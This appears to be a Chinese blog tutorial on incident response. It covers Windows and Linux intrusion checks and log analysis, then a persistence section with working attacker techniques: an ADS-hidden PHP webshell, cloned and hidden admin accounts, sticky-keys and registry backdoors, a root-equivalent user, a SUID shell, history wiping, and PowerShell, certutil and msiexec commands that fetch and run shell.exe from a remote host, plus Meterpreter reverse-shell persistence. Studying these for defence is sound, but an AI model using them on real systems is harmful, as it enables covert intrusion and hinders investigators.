应急响应
作者: 分类: 网络安全 发布于: 2024-07-09 16:18:18 浏览:150 评论(0)
一、入侵排查篇
windows入侵排查
使用环境:Windows Server 2008
检查系统账号安全
查看服务器是否有弱口令,远程管理端口是否对公网开放
检查方法:据实际情况咨询相关服务器管理员
查看服务器是否有可疑账号
检查方法:lusrmgr.msc
可查看是否有新增的可疑账号,如有新增可疑账户,需立即禁用或删除。
查看隐藏账号、克隆账号
检查方法:使用D盾_web查杀工具,集成了对克隆账号检测的功能
结合日志,查看管理员登录时间、用户名是否存在异常
检查方法:
-
Win+R 打开运行,输入
eventvwr.msc
,回车运行,打开“事件查看器”。 -
导出windows日志,利用微软提供的Log Parser 进行分析。分析示例
# LogParser.exe -i:输入文件的格式 “SQL语句” -o:输出文件的格式 LogParser.exe -i:evt "select top 100 * from D:\离线工具\Security.evtx " -o:DATAGRID
检查异常端口、进程
网络连接情况,是否有远程连接、可疑连接
检查方法:
-
使用
netstat -ano
命令查看目前的网络连接,定位可疑的 ESTABLISHEDESTABLISHED:完成连接并正在进行数据通信的状态。
LISTENING:表示处于侦听状态,就是说该端口是开放的,等待连接,但还没有被连接。
CLOSE_WAIT:对方主动关闭连接或者网络异常导致连接中断。
TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。
-
根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位
tasklist | findstr "PID"
。可以进一步去任务管理器中确认(不一定能找到)
进程
检查方法:依据进程名称查看是否有可疑进程 tasklist /svc
-
输入
msinfo32
命令,依次点击 "软件环境 -- 正在运行任务" 就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期以及启动时间等。 -
打开D盾_web查杀工具,进程查看,关注没有可疑信息的进程
-
通过微软官方提供的 进程资源管理器等工具进行排查
-
查看可疑的进程及其子进程
可以通过观察以下内容
没有签名验证信息的进程 没有描述信息的进程 进程的属主 进程的路径是否合法 CPU或内存资源占用长时间过高的进程(比如挖矿)
常用命令:
1)查看端口对应的 PID:netstat -ano | findstr "port" 2)查看进程对应的 PID:任务管理器 -- 查看 -- 选择列 -- PID 或者 tasklist | findstr "PID" 3)查看进程对应的程序位置: 任务管理器 -- 选择对应进程 -- 右键打开文件位置 运行输入wmic,cmd 界面输入 process 4)tasklist /svc 进程 -- PID -- 服务 5)查看Windows服务所对应的端口: %systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows路径)
检查启动项、计划任务、服务
检查服务器是否有异常的启动项
检查方法:
-
登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
-
单击开始菜单 >【运行】,输入
msconfig
,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。 -
单击【开始】>【运行】,输入
regedit
,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
-
利用安全软件查看启动项、开机时间管理等。
-
组策略,运行
gpedit.msc
Linux入侵排查
使用环境:CentOS
系统账号安全
基本使用
1、用户信息文件 /etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的shell
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件 /etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
who 查看当前登录用户(tty 本地登陆 pts 远程登录)
w 查看系统信息,想知道某一时刻用户的行为
uptime 查看登陆多久、多少用户,负载状态
入侵排查
# 查询特权用户特权用户(uid为0)
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 禁用或删除多余及可疑的账号
usermod -L user # 禁用账号,账号无法登录,/etc/shadow 第二栏为 ! 开头
userdel user # 删除 user 用户
userdel -r user # 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除
历史命令
基本使用
通过 .bash_history
文件查看账号执行过的系统命令
1、root用户的历史命令
histroy
2、打开 /home 各账号目录下的 .bash_history,查看普通账号执行的历史命令。
3、历史操作命令的清除:history -c,此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。
入侵排查
# 进入用户目录下,导出历史命令。
cat .bash_history >> history.txt
检查异常端口
使用 netstat
网络连接命令,分析可疑端口、IP、PID
netstat -antlp
# 查看 pid 所对应的进程文件路径:
# 运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)
检查异常进程
ps aux | grep $pid
检查开机启动项
基本使用
Linux系统有7个系统运行级别(runlevel)
运行级别0:系统停机状态,系统默认运行级别不能设为0,否则不能正常启动
运行级别1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
运行级别2:多用户状态(没有NFS)
运行级别3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
运行级别4:系统未使用,保留
运行级别5:X11控制台,登陆后进入图形GUI模式
运行级别6:系统正常关闭并重启,默认运行级别不能设为6,否则不能正常启动
查看运行级别命令runlevel
开机启动配置文件
/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d
chkconfig
命令用于检查,设置系统的各种服务
# 服务列表[可根据实际需要,停掉不用服务]
chkconfig --list [name]
# 服务添加[如缺省,则从缺省的init脚本自动建立]
chkconfig --add [name]
# 服务删除[并把相关符号连接从/etc/rc[0-6].d删除]
chkconfig --del [name]
当我们需要设置开机启动的脚本时,只需要将可执行脚本放在 /etc/init.d 目录下,然后在/etc/rc.d/rc*.d 文件中建立软链接(使用chkconfig命令
)即可。
注:此中的 * 代表 0,1,2,3,4,5,6 这七个等级
入侵排查
查看启动项文件:
/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/
检查定时任务
基本使用
-
利用
crontab
创建计划任务基本命令
# 列出某个用户cron服务的详细内容 crontab -l # 删除某个用户cront任务(谨慎:删除所有的计划任务) crontab -r # 使用编辑器编辑当前的crontab文件 crontab -e # 如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件分时日月周
-
利用 anacron 命令实现异步定时任务调度
使用案例
# 每天运行 /home/backup.sh 脚本: vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh # 当 backup.sh 期望被运行时机器却是关机状态,anacron会在开机10分钟之后运行它,而不用再等待7天
入侵排查
重点关注以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
小技巧:
# 查看/etc/cron.daily/目录下的所有文件
more /etc/cron.daily/*
检查服务
服务自启动
第一种修改方法:
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –-level 2345 httpd on 开启自启动
chkconfig httpd on (默认level是2345)
第二种修改方法:
修改 /etc/rc.d/rc.local 文件
加入 /etc/init.d/httpd start
入侵排查
查询已安装的服务:
-
RPM包安装的服务
# 服务自启动状态,可以看到所有的RPM包安装的服务 chkconfig --list # 查看系统在3与5级别下的启动项 # 中文环境 chkconfig --list | grep "3:启用\|5:启用" # 英文环境 chkconfig --list | grep "3:on\|5:on"
-
源码包安装的服务
源码包服务的启动管理:/usr/local/ 源码包服务的自启动管理:/etc/rc.d/init.d/
检查异常文件
-
查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性。
-
排查Webshell、远控木马的创建时间,如何找出同一时间范围内创建的文件?
可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件。
-
针对可疑文件可以使用
stat
查看创建修改时间。
检查系统日志
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
日志分析技巧:
# 定位有多少IP在爆破主机的root账号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort |uniq -c | sort -nr | more
# 定位有哪些IP在爆破:
grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
#爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/;print "$1\n";}' | uniq -c | sort -nr
# 登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr| more
# 登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
工具查杀
病毒查杀
ClamAVNet 安装方式:
#安装
yum install -y epel-release
#使用阿里云epel源
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-
7.repo
yum clean all
yum makecache
yum install -y clamav
#更新病毒库
freshclam
#扫描方法
clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log
clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log
#扫描并杀毒 (慎用,会删除误报)
clamscan -r --remove /usr/bin/bsd-port
clamscan -r --remove /usr/bin/
clamscan -r --remove /usr/local/zabbix/sbin
#查看日志发现
cat /root/etcclamav.log | grep FOUND
web查杀
河马web查杀工具https://www.shellpub.com/doc/hm_linux_usage.html
常见的WebShell查杀工具
D盾web查杀
只提供 Windows 版本。http://www.d99net.net
河马web查杀工具
https://www.shellpub.com/doc/hm_linux_usage.html
Web Shell Detector
Web Shell Detector 具有 WebShell 签名数据库,可帮助识别高达 99% 的 WebShell。兼容性:提供 PHP、Python 脚本,可跨平台,在线检测。
官方网站:http://www.shelldetector.com
如何发现隐藏的WebShell后门
MD5校验
一般官方下载的文件都包含一个md5值,可通过计算文件md5值判断是否文件被篡改
md5_file($filepath)
diff 命令
diff -c -a -r 2.php 3.php
# -c 显示全部内文,并标出不同之处
# -a diff预设只会逐行比较文本文件。
# -r 比较子目录中的文件。
文件对比工具
常用 Beyond Compare
Download Beyond Compare
二、日志分析篇
windows日志分析
使用环境:Windows Server 2008 R2
windows事件日志
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows操作系统预先定义。
默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录。
默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全日志是关闭的,可以使用组策略来启动安全日志,或者在注册表中设置审核策略,以便当安全日志满后使系统停止响应。
默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
审核策略与事件查看器
需要先开启审核策略:
设置:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,本地安全设置。
查看系统日志方法:
-
在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”
-
按 "Window+R",输入 ”eventvwr.msc“ 也可以直接进入“事件查看器”
事件日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:
事件ID | 说明 |
---|---|
4624 | 登录成功 |
4625 | 登录失败 |
4634 | 注销成功 |
4647 | 用户启动的注销 |
4672 | 使用超级用户(如管理员)进行登录 |
4720 | 创建用户 |
日志分析工具
-
Log Parser
使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"
- 查询登录成功的事件
# 登录成功的所有事件 LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\security.evtx where EventID=4624" # 指定登录时间范围的事件: LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2022-11-05 00:00:00' and TimeGenerated<'2022-11-06 00:00:00' and EventID=4624" # 提取登录成功的用户名和IP: LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\security.evtx where EventID=4624"
- 查询登录失败的事件
# 登录失败的所有事件: LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\security.evtx where EventID=4625" # 提取登录失败用户名进行聚合统计: LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,'')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\security.evtx where EventID=4625 GROUP BY Message"
- 系统历史开关机记录
LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"
-
LogParser Lizard
对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx
依赖包:Microsoft .NET Framework 4.5,下载地址:
https://www.microsoft.com/en-us/download/details.aspx?id=42642
补充内容
Windows日志分析参考:https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ
Linux 日志分析
使用环境:CentOS
日志说明
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个 文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
分析技巧
常用的shell命令
Linux下常用的shell命令如:find、grep 、egrep、awk、sed
小技巧:
-
grep显示前后几行信息
# 标准unix/linux下的grep通过下面参数控制上下文: #显示file文件里匹配foo字串那行以及上下5行 grep -C 5 foo file # 显示foo及前5行 grep -B 5 foo file # 显示foo及后5行 grep -A 5 foo file #查看grep版本号的方法 grep -V
-
grep 查找含有某字符串的所有文件
grep -rn "hello,world!" * # * 表示当前目录所有文件,也可以是某个文件名 # -r 是递归查找 # -n 是显示行号 # -R 查找所有文件包含子目录 # -i 忽略大小写
-
显示一个文件的某几行
# 从第1000行开始,显示2000行。即显示1000~2999行 cat input_file | tail -n +1000 | head -n 2000
-
查找命令
# 在目录/etc中查找文件init find /etc -name init
-
只显示/etc/passwd的账户
cat /etc/passwd | awk -F ':' '{print $1}' # 说明:awk -F指定域分隔符为':',将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个域,$n表示第n个域。
-
删除历史操作记录
# 删除历史操作记录,只保留前153行 sed -i '153,$d' .bash_history
日志分析技巧
-
/var/log/secure
# 定位有多少IP在爆破主机的root账号: grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more # 定位有哪些IP在爆破: grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c # 爆破用户名字典是什么? grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*?) from/;print "$1\n";}' | uniq -c|sort -nr # 登录成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more # 登录成功的日期、用户名、IP: grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
-
/var/log/yum.log
软件安装升级卸载日志:
more /var/log/yum.log
web日志分析
日志分析技巧
# 列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
# 查看当天有多少个IP访问:
awk '{print $1}' log_file | sort | uniq | wc -l
# 查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
# 查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
# 将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
# 查看某一个IP访问了哪些页面:
grep ^IP log_file| awk '{print $1,$7}'
# 去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' | sort | uniq | wc -l
# 查看2022年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2022:14 | awk '{print $2}'| sort | uniq | wc -l
mysql日志分析
使用环境:DVWA
Mysql 中的 general_log 能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
# 查看log配置信息
show variables like '%general%';
# 开启日志
SET GLOBAL general_log = 'On';
# 指定日志文件路径
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
# 查看有哪些IP在爆破
grep "Access denied" log_file |cut -d "'" -f4 | uniq -c | sort -nr
# 查看爆破的用户名字典是哪些?
grep "Access denied" log_file |cut -d "'" -f2 | uniq -c | sort -nr
三、权限维持
Windows权限维持-隐藏篇
使用环境:Windows Server 2008
隐藏文件
-
利用文件属性:最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件夹里看不到刚刚的文件了。
-
真正隐藏文件:
attrib +s +a +h +r text.txt
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选可显示
-
利用ADS隐藏文件内容
echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg # 查看index.php:hidden.jpg内容, 有两种方式 notepad index.php:hidden.jpg dir /r # 删除index.php:hidden.jpg:直接删除index.php即可
隐藏账号
#创建隐藏账号, 密码为abcd
net user test$ abcd /add
想要把该隐藏账户提升为管理员权限,可以进行账号克隆。
克隆账号的制作过程如下:
regedit进入注册表,到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右键权限,把名为“administrator”的用户赋予完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器。再次打开注册表,复制administrator的F值到test$账户
检测和清理方法:D盾
Windows权限维持-后门篇
使用环境:Windows Server 2008
粘滞键后门
修改粘滞键程序C:\Windows\System32\sethc.exe
的安全设置当前所有者为administrator
,保证administrator对sethc.exe完全控制,然后:
#将原本的sethc改名为sethc1
move sethc.exe sethc1.exe
#将cmd复制并重命名为sethc
copy cmd.exe sethc.exe
此时在登录界面连按五次shift键即可启动cmd,而且不需要登录就可以执行。
Logon Scripts后门
Logon Scripts是Windows登录脚本,当用户登录时触发,它能够优先于杀毒软件执行,从而绕过杀毒软件对敏感操作的拦截。
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\5555.exe"
注销之后重新登陆服务器,meterpreter
即可上线
映像劫持
后门类型也是粘滞键后门
# 在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
此时点击五次shift键会打开cmd。
注册表自启动后门
# 添加键test1,值为后门程序路径。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\Administrator\Desktop\5555.exe"
# 位置2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 修改键Userinit的值,添加 C:\Users\Administrator\Desktop\5555.exe
计划任务后门
# schtasks命令设定计划自动启动后门程序。 #每1分钟自动执行5555.exe
schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\5555.exe /sc minute /mo 1
#修改编码
chcp 437
#查看计划任务
schtasks
# 删除计划任务
schtasks /delete /tn Updater
服务自启动后门
#创建服务 (注意等号后面有空格)
sc create test binpath= C:\Users\Administrator\Desktop\5555.exe
#设置服务为自动启动
sc config test start= auto
#启动服务
net start test
Linux权限维持-隐藏篇
使用环境:CentOS
隐藏文件
# 创建隐藏 文件名前面加个.
touch .1.txt
# 查看隐藏文件
ls -al
隐藏文件时间戳
目的是干扰排查者通过文件创建时间来判断是否木马文件
# 修改文件修改时间为19年8月8日
touch -t 1908081042.30 shell.php
隐藏权限
# 为文件添加锁定属性,锁定后无法删除
chattr +i evil.php
# 属性查看
lsattr evil.php
# 解除锁定
chattr -i evil.php
# 删除文件
rm -rf evil.php
chattr拓展
a:追加(Append)模式,防止文件被修改,只允许在文件末尾追加内容。
i:不可变(Immutable)模式,防止文件被删除、重命名、链接或修改。
s:同步(Synchronous)模式,要求在文件修改时立即将数据写入磁盘。
u:删除(Undeletable)模式,即使用户具有写权限,也不能删除该文件,除非管理员将其取消。
隐藏历史操作命令
# 只针对你的工作关闭历史记录
set +o history
# 恢复历史记录
set -o history
# 从历史记录中删除指定的命令
# 获取命令以及行号
history | grep "keyword"
# 从历史记录中删除指定的项
history -d [num]
# 我们只保留前150行
sed -i '150,$d' .bash_history
Linux权限维持-后门篇
使用环境:Kali Linux
添加用户名和密码
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用户排查技巧:
# 查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
SUID Shell
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
# 使用guest用户登录就能获取root权限。
/tmp/shell -p
普通用户执行这个SUID Shell时,一定要使用全路径。
排查技巧:
# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell
SSH免密登录
# 生成rsa密钥
ssh-keygen -t rsa
然后将公钥id_rsa.pub
中的内容放入服务器的~/.ssh/authorized_keys
中,然后将私钥id_rsa
放入本地的C:\Users\username\.ssh
中,然后使用ssh登录就免密登录
排查技巧:查看 /root/.ssh/authorized_keys 是否被修改,结合文件时间戳、历史命令等进行排查。
Windows命令行文件下载方式汇总
使用环境:Windows Server 2008
主要用于下载后门文件到目标主机上
PowerShell方式下载
# 下载
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.0.150/shell.exe','shell.exe')
# 以隐藏的方式下载并执行后门
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.0.0.150/shell.exe'))"
Bitsadmin
bitsadmin /transfer n http://10.0.0.150/shell.exe .\
certutil
#下载文件
certutil -urlcache -split -f http://10.0.0.150/shell.exe shell.exe
#删除缓存
certutil -urlcache -split -f http://10.0.0.150/shell.exe shell.exe delete
用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除
注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
msiexec
#生成msi包作用是执行calc.exe
msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi
#远程执行
msiexec /q /i http://10.0.0.150/calc.msi
渗透测试框架权限维持技术
Persistence模块
通过启动项启动(persistence)的方式,在目标机器上以反弹回连。
-U:设置后门在用户登录后自启动。该方式会在
HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
-X:设置后门在系统启动后自启动。该方式会在
HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。
-S:作为服务自动启动代理程序(具有SYSTEM权限)
run persistence -X -i 5 -p 9999 -r 10.0.0.150 -P windows/x64/meterpreter/reverse_tcp
#注意: -r后的ip为kali的服务器地址
生成的相关文件位置 :
# 后门文件位置:
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
在Kali中修改监听端口为9999,重新启动目标机器,即可再次收到会话。
handler -H 10.0.0.150 -P 9999 -p windows/x64/meterpreter/reverse_tcp
转载时请注明出处及相应链接。
本文永久链接: http://www.baigei.com/articles/emergency-response